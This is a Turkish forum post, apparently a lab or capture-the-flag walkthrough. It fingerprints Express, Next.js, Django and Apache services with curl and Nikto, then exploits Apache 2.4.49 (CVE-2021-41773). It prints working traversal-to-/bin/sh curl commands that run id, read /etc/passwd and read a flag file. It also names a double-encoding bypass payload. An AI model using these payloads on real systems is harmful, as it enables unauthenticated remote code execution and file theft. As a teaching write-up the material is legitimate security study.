root@CW-ommah:~# curl -I http://10.114.186.6:8080/
HTTP/1.1 200 OK
Server: Apache/2.4.49 (Unix)
Last-Modified: Mon, 11 Jun 2007 18:53:14 GMT
ETag: "2d-432a5e4a73a80"
Accept-Ranges: bytes
Content-Length: 45
Content-Type: text/html
Server: Apache/2.4.49 (Unix) tek başına yeterli bir bilgidir. Bu sürüm doğrudan CVE-2021-41773 güvenlik açığıyla ilişkilidir. Apache ayrıca 404 hata sayfalarının alt kısmında da sürüm bilgisini tekrar eder. Bunu doğrulamak için var olmayan bir yol (path) isteği gönderin
Kod:
root@CW-ommah:~# curl -v http://10.114.186.6:8080/nonexistent 2>&1
*   Trying 10.114.186.6:8080...
* TCP_NODELAY set
* Connected to 10.114.186.6 (10.82.95.115) port 8080 (#0)
> GET /nonexistent HTTP/1.1
> Host: 10.114.186.6:8080
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 404 Not Found
< Date: Sat, 02 May 2026 21:16:56 GMT
< Server: Apache/2.4.49 (Unix)
< Content-Length: 196
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
* Connection #0 to host 10.114.186.6 left intact
Son sinyal /cgi-bin/ yoludur. 403 Forbidden yanıtı, dizinin mevcut olduğunu ancak dizin listelemenin devre dışı bırakıldığını gösterir. Bu durumda mod_cgi yapılandırılmıştır. 404 yanıtı ise bu dizinin hiç bulunmadığını ifade eder. Bu istismar için mod_cgi gereklidir:
Kod:
root@CW-ommah:~# curl -v http://10.114.186.6:8080/cgi-bin/ 2>&1
*   Trying 10.82.95.115:8080...
* TCP_NODELAY set
* Connected to 10.114.186.6 (10.82.95.115) port 8080 (#0)
> GET /cgi-bin/ HTTP/1.1
> Host: 10.114.186.6:8080
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 403 Forbidden
< Date: Sat, 02 May 2026 21:19:21 GMT
< Server: Apache/2.4.49 (Unix)
< Content-Length: 199
< Content-Type: text/html; charset=iso-8859-1
<
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
</body></html>
* Connection #0 to host 10.114.186.6 left intact
İşlem tamamlandıktan sonra aşağıdaki parametreleri arayın:


SinyalDeğerGüven
Server header (Sunucu başlığı)Apache/2.4.49 (Unix)Yüksek - tam CVE eşleşmesi
404 error page footer (404 hata sayfası alt bilgisi)Apache/2.4.49 sürüm bilgisiYüksek
/cgi-bin/ yanıtı403 Yasak (404 değil)Yüksek - mod_cgi etkin

CVE-2021-41773: Güvenlik Açığı

Apache 2.4.49 sürümü, ap_normalize_path() fonksiyonunda bir değişiklik yaptı. Bu değişiklik istemeden path traversal (dizin gezme) filtresini bozdu. Normalde Apache, dosya sistemine ulaşmadan önce içinde ../ geçen tüm URL’leri engeller. Hata, çözümleme (decode) sırasındadır: traversal filtresi, tam URL decode işlemi yapılmadan önce çalışır.

Bir istekte . %2e/ (nokta + URL kodlanmış nokta + slash) gönderdiğinizde, filtre bunu . %2e/ olarak görür ve ../ olduğunu fark etmez. Apache URL’yi dosya sistemine ilettiğinde ise işletim sistemi . %2e/ ifadesini ../ olarak çözümler. Böylece filtre baypas edilmiş olur.

Tek başına bu açık, dosya okuma amaçlı bir dizin gezme (directory traversal) zafiyetidir. Bunu kritik yapan şey ise mod_cgi ile etkileşimidir. /cgi-bin/ yolu CGI çalıştırma özelliği açık olacak şekilde yapılandırılmıştır. Traversal sonucu yol /bin/sh gibi çalıştırılabilir bir ikili dosyaya çözülürse, Apache bunu bir CGI scripti olarak çalıştırır ve HTTP POST gövdesini bu sürecin standart girişine (stdin) aktarır.


Neden --path-as-is Gereklidir

curl URL’leri gönderilmeden önce normalleştirir (normalize eder). --path-as-is kullanılmazsa, curl . %2e/ gibi ifadeleri istemci tarafında temizler ve sunucuya normalleştirilmiş bir yol gönderir. Bu seçenek ise URL’nin aynen yazıldığı gibi, hiçbir değişiklik yapılmadan gönderilmesini sağlar.

Uyarı

Eğer traversal (dizin gezme) istekleriniz 403 döndürüyorsa ve komut çalışmıyorsa, bunun en yaygın nedeni --path-as-is parametresinin eksik olmasıdır. curl, traversal dizilerini sessizce normalleştirir ve sunucuya kodlanmış nokta karakterlerini içeren orijinal isteği iletmez.

İstismar

Port 8080 üzerinde Apache 2.4.49 sürümünü doğruladınız ve /cgi-bin/ üzerinde mod_cgi etkin durumda. Kimlik doğrulama olmadan uzaktan kod çalıştırmaya (RCE) giden doğrudan bir yolunuz var.

Adım 1: Uzaktan Kod Yürütme İşlemini Doğrulama

Dört adet .%2e/ segmenti kullanarak /cgi-bin/ dizininden /bin/sh dizinine ilerleyin. POST gövdesinde kabuk komutları iletin. CGI spesifikasyonu gereği, echo Content-Type: text/plain; echo; ön ekinin bulunması zorunludur. Apache, gövdenin öncesinde geçerli bir HTTP başlık bloğu gerektirir; aksi takdirde 500 hatası döndürür. Basit bir echo komutu, gerekli boşluk ayırıcı satırını görüntüler:
Kod:
root@CW-ommah:~# curl -s --path-as-is "http://10.114.186.6:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"   --data 'echo Content-Type: text/plain; echo; id'
uid=1(daemon) gid=1(daemon) groups=1(daemon)

RCE doğrulandı

Apache sürecinin daemon olarak çalıştığı görülüyor. Web sürecinin yetkileriyle sunucu üzerinde kod çalıştırma (RCE) elde edilmiş durumda.

Adım 2: Sistem Hesaplarını Okuma

Kod çalıştırma yetkisi elde edildikten sonra, daemon kullanıcısının erişebildiği herhangi bir dosya okunabilir. Sistem içindeki hesapları listelemek için konteyner içerisinde /etc/passwd dosyası incelenir.

Kod:
root@CW-ommah:~# curl -s --path-as-is "http://10.114.186.6:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"   --data 'echo Content-Type: text/plain; echo; cat /etc/passwd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
...
İlk root olmayan hesap daemon hesabıdır ve bu, Apache sürecini çalıştıran kullanıcıyla aynıdır. Bu durum, sunucunun root yetkileriyle çalışmadığını doğrular.

3. Adım: Bayrağı Okuyun
Kod:
root@CW-ommah:~# curl -s --path-as-is "http://10.114.186.6:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh"   --data 'echo Content-Type: text/plain; echo; cat /flag.txt'
[REDACTED]

Bilgi

CVE-2021-41773 sürüme özeldir. Sadece Apache 2.4.49 sürümünü etkiler. 2.4.50’de yapılan kısmi bir yama tekli kodlanmış nokta karakterlerini engeller, ancak çift kodlama yöntemlerini engelleyemez. CVE-2021-42013 ise %%32%65%%32%65/ kullanılarak yapılan bu baypas yöntemini kapsar.
2.4.51 ve sonraki sürümler tamamen yamalanmıştır. Server: Apache/2.4.49 veya Server: Apache/2.4.50 başlığı görüldüğünde, bu CVE’yi değerlendirmek için güçlü bir işaret kabul edilir.


Automation

Manuel parmak izi çıkarma

Manuel fingerprinting (parmak izi çıkarma), hangi sinyallerin önemli olduğunu ve neden önemli olduklarını anlamayı öğretir. Çok sayıda host içeren bir kapsam üzerinde çalışırken, Nikto hızlı bir ilk tarama sağlar; her servisi kontrol eder, yanıt başlıklarını okur ve herhangi bir payload yazmadan yığın (stack) bilgilerini ve bilinen yanlış yapılandırmaları ortaya çıkarır.

Dört Yığını da Tarama
Nikto'yu sırayla her bir bağlantı noktasında çalıştırın: 3000 numaralı bağlantı noktasında MERN, 3001 numaralı bağlantı noktasında Next.js, 8000 numaralı bağlantı noktasında Django ve 8080 numaralı bağlantı noktasında Apache.
Kod:
root@CW-ommah:~# nikto -h http://10.114.186.6:3000

- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          10.114.186.6
+ Target Hostname:    10.114.186.6
+ Target Port:        3000
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Cookie connect.sid created without the httponly flag
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ Uncommon header 'content-security-policy' found, with contents: default-src 'none'
+ Allowed HTTP Methods: GET, HEAD
+ 6544 items checked: 0 error(s) and 7 item(s) reported on remote host
---------------------------------------------------------------------------
+ 1 host(s) tested

Sunucu başlığı yok

Sunucu (Server) banner’ı bulunmuyor; Express varsayılan olarak böyle bir başlık göndermez. İki sinyal stack’i doğrular: x-powered-by: Express başlığı ve connect.sid oturum çerezi. Oturum çerezinde HttpOnly bayrağının eksik olması ek bir güvenlik bulgusudur.

Port 3001 - Next.js
Kod:
root@CW-ommah:~# nikto -h http://10.114.186.6:3001

- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          10.114.186.6
+ Target Hostname:    10.114.186.6
+ Target Port:        3001
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Next.js
+ Uncommon header 'x-nextjs-stale-time' found, with contents: 4294967294
+ Uncommon header 'x-nextjs-cache' found, with contents: HIT
+ Uncommon header 'x-nextjs-prerender' found, with contents: 1
+ Allowed HTTP Methods: HEAD
+ 6544 items checked: 0 error(s) and 19 item(s) reported on remote host
---------------------------------------------------------------------------
+ 1 host(s) tested

x-powered-by: Next.js ifadesi, kullanılan framework’ü doğrular. Üç adet x-nextjs-* başlığı, App Router’ın üretim (production) modunda olduğunu teyit eder; bu durum CVE-2025-29927’nin geçerli olması için gerekli koşuldur.

Port 8000 - Django
Kod:
root@CW-ommah:~# nikto -h http://10.114.186.6:8000

- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          10.114.186.6
+ Target Hostname:    10.114.186.6
+ Target Port:        8000
---------------------------------------------------------------------------
+ Server: WSGIServer/0.2 CPython/3.10.12
+ Uncommon header 'referrer-policy' found, with contents: same-origin
+ Uncommon header 'x-content-type-options' found, with contents: nosniff
+ 6544 items checked: 0 error(s) and 4 item(s) reported on remote host
---------------------------------------------------------------------------
+ 1 host(s) tested
WSGIServer/0.2 CPython/3.10.12, Django’ya özgü bir sunucu banner’ıdır. referrer-policy: same-origin ve x-content-type-options: nosniff başlıklarının birlikte bulunması, Django’nun SecurityMiddleware bileşeninin aktif olduğunu doğrular.

Port 8080 - Apache
Kod:
root@CW-ommah:~# nikto -h http://10.114.186.6:8080

- Nikto v2.1.5
---------------------------------------------------------------------------
+ Target IP:          10.114.186.6
+ Target Hostname:    10.114.186.6
+ Target Port:        8080
---------------------------------------------------------------------------
+ Server: Apache/2.4.49 (Unix)
+ Server leaks inodes via ETags, header found with file /
+ The anti-clickjacking X-Frame-Options header is not present.
+ Allowed HTTP Methods: HEAD, GET, POST, OPTIONS, TRACE
+ OSVDB-877: HTTP TRACE method is active, suggesting the host is vulnerable to XST
+ 6544 items checked: 0 error(s) and 4 item(s) reported on remote host
+ End Time: (9 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested

Server: Apache/2.4.49 (Unix)

Bu ifade, CVE-2021-41773 için doğrudan bir göstergedir. Nikto’nun dört farklı port üzerindeki taramalarında elde ettiği en değerli bulgu budur: kritik bir bilinen zafiyetle eşleşen net bir sürüm numarası.
Nikto, tüm stack’leri bir dakikadan kısa sürede tespit etmiştir. Apache için tam sürüm bilgisini vererek ek fingerprinting ihtiyacını ortadan kaldırır. MERN ve Django tarafında ise stack doğrulanmış olsa da, Nikto’nun uygulama seviyesindeki enjeksiyon açıklarını tespit etmeye yönelik hazır şablonları yoktur. Bu noktada 2. ve 4. görevlerde kullanılan manuel teknikler devreye girer.

Çözüm
Dört farklı stack’i parmak iziyle tespit ettin ve her seferinde aynı üç adımlı iş akışını kullanarak dört CVE’yi istismar ettin: sinyalleri oku, sürümü doğrula, zinciri çalıştır.


CVE Özeti


StackCVEEtkiCVSS
MERN / ExpressCVE-2020-8203Prototype pollution → kimlik doğrulama atlatma7.4 Yüksek
Next.js MiddlewareCVE-2025-29927Tek başlık → tam middleware atlatma9.1 Kritik
Django ORMCVE-2021-35042Parametreleştirilmemiş ORDER BY üzerinden SQL enjeksiyonu9.8 Kritik
Apache LAMPCVE-2021-41773Path traversal + mod_cgi RCE9.8 Kritik
Ekli dosyayı görüntüle 951Okuduğunuz için teşekkür ederim





CW-Ommah
Bug Researchers Tim Sundu...

Ekli dosyayı görüntüle 952
Eline Sağlık Döktürdün Yine Hocam